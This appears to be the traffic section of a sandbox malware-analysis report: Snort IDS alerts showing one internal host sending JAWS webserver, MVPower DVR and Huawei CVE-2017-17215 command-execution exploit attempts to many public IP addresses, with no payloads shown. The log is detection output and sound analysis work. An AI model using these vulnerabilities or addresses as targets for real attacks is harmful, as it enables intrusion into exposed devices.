Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:39066 -> 185.249.70.206:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:58836 -> 45.120.4.35:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:57906 -> 13.39.26.165:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:49460 -> 195.15.235.28:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:38884 -> 156.254.90.169:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:38884 -> 156.254.90.169:37215
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:55944 -> 67.199.102.71:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:39066 -> 185.249.70.206:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:58836 -> 45.120.4.35:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:57906 -> 13.39.26.165:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:49460 -> 195.15.235.28:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:44798 -> 139.59.99.156:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:37400 -> 203.143.87.170:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:53702 -> 54.169.195.71:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:44798 -> 139.59.99.156:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:37400 -> 203.143.87.170:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:53702 -> 54.169.195.71:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:35520 -> 18.188.91.253:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:43426 -> 34.128.191.234:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:56292 -> 13.224.102.81:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:35520 -> 18.188.91.253:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:42206 -> 46.36.222.144:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:56530 -> 212.31.19.143:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:47958 -> 186.211.165.86:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:48442 -> 213.155.66.36:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:56292 -> 13.224.102.81:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:42206 -> 46.36.222.144:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:47958 -> 186.211.165.86:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:48442 -> 213.155.66.36:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:50836 -> 37.116.86.63:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:50836 -> 37.116.86.63:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:33460 -> 4.249.186.195:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:34504 -> 207.194.62.174:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:33776 -> 65.21.189.68:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:39550 -> 95.55.211.177:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:33460 -> 4.249.186.195:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:48644 -> 194.135.104.214:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:34504 -> 207.194.62.174:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:59478 -> 104.102.34.241:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:46812 -> 102.23.246.117:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:33776 -> 65.21.189.68:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:48644 -> 194.135.104.214:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:39550 -> 95.55.211.177:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:59478 -> 104.102.34.241:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:59360 -> 183.110.116.127:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:46812 -> 102.23.246.117:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:59360 -> 183.110.116.127:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:41682 -> 142.58.28.135:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:55166 -> 162.55.59.59:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:55166 -> 162.55.59.59:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:60738 -> 184.27.159.88:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:60738 -> 184.27.159.88:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:59220 -> 65.9.69.92:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:33492 -> 52.18.169.231:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:37046 -> 143.0.180.107:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:59220 -> 65.9.69.92:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:33492 -> 52.18.169.231:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:37046 -> 143.0.180.107:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:49234 -> 210.203.11.238:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:53456 -> 217.182.218.160:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:46842 -> 43.227.22.178:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:53456 -> 217.182.218.160:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:49234 -> 210.203.11.238:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:59128 -> 156.245.113.68:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:46842 -> 43.227.22.178:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:38756 -> 112.90.88.154:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:59128 -> 156.245.113.68:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:38756 -> 112.90.88.154:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:53128 -> 18.160.205.137:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:34266 -> 18.160.166.46:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:57032 -> 207.231.46.96:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:50450 -> 35.156.28.97:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:60220 -> 54.86.191.6:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:53128 -> 18.160.205.137:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:46420 -> 104.107.159.225:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:34266 -> 18.160.166.46:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:60220 -> 54.86.191.6:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:49378 -> 43.255.45.200:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:50450 -> 35.156.28.97:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:57738 -> 45.129.97.179:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:46420 -> 104.107.159.225:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:60540 -> 211.105.120.3:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:57738 -> 45.129.97.179:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:54248 -> 167.71.224.247:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:60540 -> 211.105.120.3:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:40648 -> 104.19.52.162:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:46804 -> 97.107.136.97:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:49512 -> 181.210.158.250:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:36210 -> 88.208.215.188:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:54248 -> 167.71.224.247:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:40648 -> 104.19.52.162:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:46804 -> 97.107.136.97:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:56222 -> 18.239.254.46:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:53568 -> 83.66.85.244:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:37316 -> 178.60.220.88:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:49512 -> 181.210.158.250:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:36210 -> 88.208.215.188:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:41448 -> 45.197.50.182:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:56222 -> 18.239.254.46:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:46934 -> 43.227.22.178:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:47762 -> 62.234.239.110:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:37316 -> 178.60.220.88:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:41448 -> 45.197.50.182:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:46934 -> 43.227.22.178:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:47762 -> 62.234.239.110:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:33084 -> 176.35.107.71:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:46954 -> 194.195.127.71:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:52882 -> 4.157.16.63:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:50680 -> 104.165.55.231:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:52882 -> 4.157.16.63:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:46954 -> 194.195.127.71:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:50680 -> 104.165.55.231:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:60620 -> 156.224.11.234:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:60620 -> 156.224.11.234:37215
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:50760 -> 90.244.188.177:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:48888 -> 138.201.139.232:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:40730 -> 184.24.27.148:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:50760 -> 90.244.188.177:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:48888 -> 138.201.139.232:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:34986 -> 71.132.45.65:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:57864 -> 94.120.210.61:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:54982 -> 124.156.145.146:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:40730 -> 184.24.27.148:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:50300 -> 104.106.77.5:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:34986 -> 71.132.45.65:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:54982 -> 124.156.145.146:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:50300 -> 104.106.77.5:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:48152 -> 82.194.168.210:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:51798 -> 154.197.69.111:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:41332 -> 113.20.28.212:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:48152 -> 82.194.168.210:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:51798 -> 154.197.69.111:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:41332 -> 113.20.28.212:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:36156 -> 54.146.18.202:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:49826 -> 216.57.226.26:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:36156 -> 54.146.18.202:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:59190 -> 104.196.18.71:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:39868 -> 52.84.181.70:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:53564 -> 172.241.215.166:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:49826 -> 216.57.226.26:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:38076 -> 34.90.194.115:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:59190 -> 104.196.18.71:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:39868 -> 52.84.181.70:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:53564 -> 172.241.215.166:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:38076 -> 34.90.194.115:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:46884 -> 34.93.58.157:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:46884 -> 34.93.58.157:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:41120 -> 34.205.241.155:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:43304 -> 163.123.183.103:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:41842 -> 51.158.200.225:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:60776 -> 196.51.148.245:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:41120 -> 34.205.241.155:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:43304 -> 163.123.183.103:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:48168 -> 163.28.224.199:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:60018 -> 64.227.105.141:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:41842 -> 51.158.200.225:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:60776 -> 196.51.148.245:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:59258 -> 52.17.238.114:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:33634 -> 54.179.3.83:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:60018 -> 64.227.105.141:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:59258 -> 52.17.238.114:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:35224 -> 52.197.56.2:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:43164 -> 220.133.218.57:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:48168 -> 163.28.224.199:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:33634 -> 54.179.3.83:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:47620 -> 196.29.227.165:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:58982 -> 120.96.79.253:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:35224 -> 52.197.56.2:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:43164 -> 220.133.218.57:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:47620 -> 196.29.227.165:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:37368 -> 23.1.60.81:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:49644 -> 66.161.168.153:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:37368 -> 23.1.60.81:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:49644 -> 66.161.168.153:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:46112 -> 104.71.51.41:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:46112 -> 104.71.51.41:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:50276 -> 156.254.100.183:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:50276 -> 156.254.100.183:37215
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:45460 -> 130.164.94.211:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:59724 -> 107.180.54.249:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:36730 -> 23.33.17.143:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:59724 -> 107.180.54.249:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:47598 -> 23.208.190.247:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:36730 -> 23.33.17.143:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:45372 -> 57.180.159.193:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:47598 -> 23.208.190.247:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:45372 -> 57.180.159.193:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:57348 -> 143.244.156.8:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:33112 -> 137.117.70.192:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:59716 -> 107.180.54.249:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:57348 -> 143.244.156.8:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:33112 -> 137.117.70.192:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:59716 -> 107.180.54.249:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:60022 -> 40.85.178.219:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:54430 -> 35.170.175.108:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:60022 -> 40.85.178.219:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:54430 -> 35.170.175.108:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:53224 -> 108.232.5.11:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:46034 -> 185.229.91.99:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:53224 -> 108.232.5.11:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:48502 -> 104.197.183.33:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:46034 -> 185.229.91.99:80
Source: Traffic	Snort IDS: 2025883 ET EXPLOIT MVPower DVR Shell UCE 192.168.2.15:48502 -> 104.197.183.33:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.15:53386 -> 156.241.8.50:37215
Source: Traffic	Snort IDS: 2829579 ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) 192.168.2.15:53386 -> 156.241.8.50:37215
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:43582 -> 18.173.241.216:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:45862 -> 50.17.201.7:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:49456 -> 209.50.54.16:80
Source: Traffic	Snort IDS: 2030092 ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution 192.168.2.15:39148 -> 66.225.154.222:80
